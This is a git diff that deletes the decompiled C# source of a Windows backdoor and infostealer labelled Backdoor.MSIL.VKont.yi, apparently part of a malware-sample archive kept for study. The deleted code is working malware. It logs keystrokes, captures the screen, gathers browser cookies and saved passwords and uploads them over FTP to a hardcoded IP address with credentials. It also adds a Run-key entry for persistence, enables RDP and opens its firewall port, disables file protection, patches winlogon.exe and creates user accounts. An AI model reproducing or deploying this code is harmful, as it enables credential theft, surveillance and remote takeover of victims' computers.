- }
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- Program.CacheDelete(Environment.SystemDirectory + "\\Dllcache");
- Program.CacheDelete(Environment.SystemDirectory + "\\CatRoot");
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true).SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true).SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey.SetValue("Link", (object) "Local", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
- registryKey.SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
- registryKey.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
- registryKey.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
- registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
- registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
- registryKey.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
- registryKey.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
- registryKey.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
- registryKey.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
- }
- catch
- {
- }
- }
- catch
- {
- }
- }
-
- public static void RDP_M() => Program.TimeNow();
-
- public static void w_Change()
- {
- try
- {
- if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
- return;
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.123");
- FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.123", FileMode.Open);
- byte[] buffer = new byte[fileStream.Length];
- fileStream.Read(buffer, 0, (int) fileStream.Length);
- buffer[94] = (byte) 110;
- buffer[173347] = (byte) 85;
- buffer[173348] = (byte) 139;
- buffer[173349] = (byte) 236;
- buffer[173437] = (byte) 139;
- buffer[173438] = byte.MaxValue;
- buffer[173439] = (byte) 85;
- BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
- binaryWriter.Write(buffer);
- binaryWriter.Close();
- fileStream.Close();
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- }
- else
- System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.lol");
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.lol", Environment.SystemDirectory + "\\winlogon.exe");
- Thread.Sleep(2000);
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
- Thread.Sleep(2000);
- System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
- }
- catch
- {
- }
- }
-
- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- DirectoryEntry directoryEntry3 = (DirectoryEntry) null;
- foreach (DirectoryEntry child in directoryEntry1.Children)
- {
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find(child.Name, "group");
- directoryEntry3.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- directoryEntry2.Close();
- directoryEntry1.Close();
- directoryEntry3.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- processArray[index].Kill();
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Program.thkey = new Thread[20];
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- for (int index = 1; index <= 0; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(0.0));
- new Program.ScreenShotDll().CaptureScreen("0" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
- }
- }
-
- private static string ShowDomainUsers()
- {
- string str = (string) null;
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName);
- foreach (DirectoryEntry child in directoryEntry1.Children)
- {
- try
- {
- foreach (object adsObject in (IEnumerable) directoryEntry1.Children.Find(child.Name, "Group").Invoke("Members", (object[]) null))
- {
- DirectoryEntry directoryEntry2 = new DirectoryEntry(adsObject);
- str = str + child.Name + ": " + directoryEntry2.Name + "\n";
- }
- }
- catch
- {
- }
- }
- return str;
- }
-
- private static bool buffDlin(string buff) => Program.strbug.Length == buff.Length;
-
- private static bool buffZ(string purse, string param)
- {
- Program.buflyb = (string) null;
- if (param == null)
- return true;
- int length = param.Length;
- if (length == 0)
- return true;
- Program.strbuftx = (string) null;
- for (int index = 0; index < length; ++index)
- Program.strbuftx += (string) (object) Program.strbug[index];
- return param == Program.strbuftx;
- }
-
- private static bool buffCritery(string buff_purse, string critery_p) => Program.buffDlin(buff_purse) && Program.buffZ(buff_purse, critery_p);
-
- private static void strBuffer()
- {
- try
- {
- string[] strArray1 = new string[0];
- string[] strArray2 = new string[0];
-label_1:
- IDataObject dataObject;
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- for (int index = 0; index < strArray1.Length; ++index)
- {
- if (Program.buffCritery(strArray1[index], strArray2[index]))
- Clipboard.SetDataObject((object) strArray1[index]);
- }
- goto label_1;
- }
- catch (Exception ex)
- {
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat) => this.CaptureScreenShot().Save(fileName, imageFormat);
-
- public Bitmap CaptureScreenShot()
- {
- Image image = (Image) new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics graphics = Graphics.FromImage(image);
- graphics.CompositingQuality = CompositingQuality.AssumeLinear;
- IntPtr hdc = graphics.GetHdc();
- IntPtr windowDc = Program.GetWindowDC(Program.GetDesktopWindow());
- long num = (long) Program.BitBlt(hdc, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, windowDc, 0, 0, 13369376);
- graphics.ReleaseHdc(hdc);
- return (Bitmap) image;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj
deleted file mode 100644
index 3502a852..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}
- Exe
- 1
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln
deleted file mode 100644
index 62b5b1ae..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Backdoor.MSIL.VKont.yi.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1", "Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217.csproj", "{AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {AB3E65B1-DB46-4B2E-B71A-15E457AC8AA9}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs
deleted file mode 100644
index 737b40fa..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217/Program.cs
+++ /dev/null
@@ -1,949 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: 1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: F8372727-BB73-4F53-AA9E-07EA825B5937
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.yi-2dde5199f6ed273c05ec3d4b92b269e14a6b02650c2411dddeafadb55acc9217.exe
-
-using Microsoft.Win32;
-using System;
-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(disk);
- try
- {
- foreach (DirectoryInfo directory in directoryInfo.GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.thkey = new Thread[128];
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + ";";
- if (Program.sdosta == 100)
- {
- Program.sdosta = 0;
- string time = Program.TimeNow();
- try
- {
- StreamWriter streamWriter = new StreamWriter("" + time + ".");
- streamWriter.Write(Program.logkey);
- streamWriter.Close();
- Program.thkey[Program.keycount] = new Thread((ThreadStart) (() =>
- {
- if (!Program.CherezShto("" + time + ".", "False", "True", "Troi"))
- ;
- }));
- Program.thkey[Program.keycount].Start();
- ++Program.keycount;
- }
- catch
- {
- }
- if (Program.keycount > 120)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "93.170.48.157", "darkh527_admin", "4121313", pftp);
- return true;
- }
-
- public static void CreatFileIEforXP(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists(""))
- System.IO.File.Delete("");
- try
- {
- string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\");
- string[] strArray1 = new string[directories1.Length];
- for (int index1 = 0; index1 < directories1.Length; ++index1)
- {
- if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService"))
- {
- strArray1[index1] = directories1[index1].Substring(26);
- string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString());
- string[] strArray2 = new string[directories2.Length];
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("", true, Encoding.UTF8);
- for (int index2 = 0; index2 < directories2.Length; ++index2)
- {
- strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length);
- if (strArray2[index2] == "\\Cookies")
- {
- string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt");
- string[] strArray3 = new string[files.Length];
- for (int index3 = 0; index3 < files.Length; ++index3)
- {
- strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length);
- string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString();
- streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read));
- string str = path + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- break;
- }
- }
- }
- }
- Program.CherezShto("", smail, sftp, spapka);
- }
- catch
- {
- if (!System.IO.File.Exists(""))
- return;
- Program.CherezShto("", smail, sftp, spapka);
- }
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void userVista(
- string disk,
- string n_file,
- string m_send,
- string smail,
- string sftp,
- string spapka)
- {
- if (m_send == "c_send")
- {
- try
- {
- string path = "C:\\Users";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka);
- }
- }
- }
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
- if (!(m_send == "p_send"))
- return;
- Program.SearchAll(disk, n_file, smail, sftp, spapka);
- }
-
- public static void CreatFileIEforVista(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists(""))
- System.IO.File.Delete("@");
- try
- {
- string path = "C:\\Users";
- string searchPattern = "*.txt";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- {
- foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies"))
- {
- try
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(directory);
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- }
- }
- }
- }
- }
- }
- catch
- {
- }
- }
- Program.CherezShto("", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- Console.Title = args.Length != 0 ? args[0].ToString() : "Hello";
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- try
- {
- FileInfo fileInfo = new FileInfo(Environment.GetCommandLineArgs()[0]);
- if (args.Length == 0)
- {
- Process.Start(new ProcessStartInfo()
- {
- Verb = "runas",
- FileName = Environment.CurrentDirectory + "\\" + fileInfo.Name,
- Arguments = "administrator",
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true
- });
- }
- else
- {
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true).SetValue("C:\\Dokumente und Einstellungen\\sys\\Desktop\\GeneratorTroj\\1.exe", (object) Application.ExecutablePath);
- new Thread((ThreadStart) (() =>
- {
- Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "Troi");
- Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "Troi");
- Program.SearchAll("C:\\", "wand.dat", "False", "True", "Troi");
- Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "Troi");
- Program.CreatFileIEforXP("False", "True", "Troi");
- Program.CreatFileIEforVista("False", "True", "Troi");
- Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "Troi");
- Program.SearchAll("C:\\", "*.bip", "False", "True", "Troi");
- Program.SearchAll("C:\\", "*.qip", "False", "True", "Troi");
- })).Start();
- Program.SearchAll("C:\\", "uin.txt", "False", "True", "Troi");
- Program.SearchAll("D:\\", "uin.txt", "False", "True", "Troi");
- Program.SearchAll("C:\\", "Данные.txt", "False", "True", "Troi");
- new Thread(new ThreadStart(Program.key)).Start();
- new Thread(new ThreadStart(Program.Screnn)).Start();
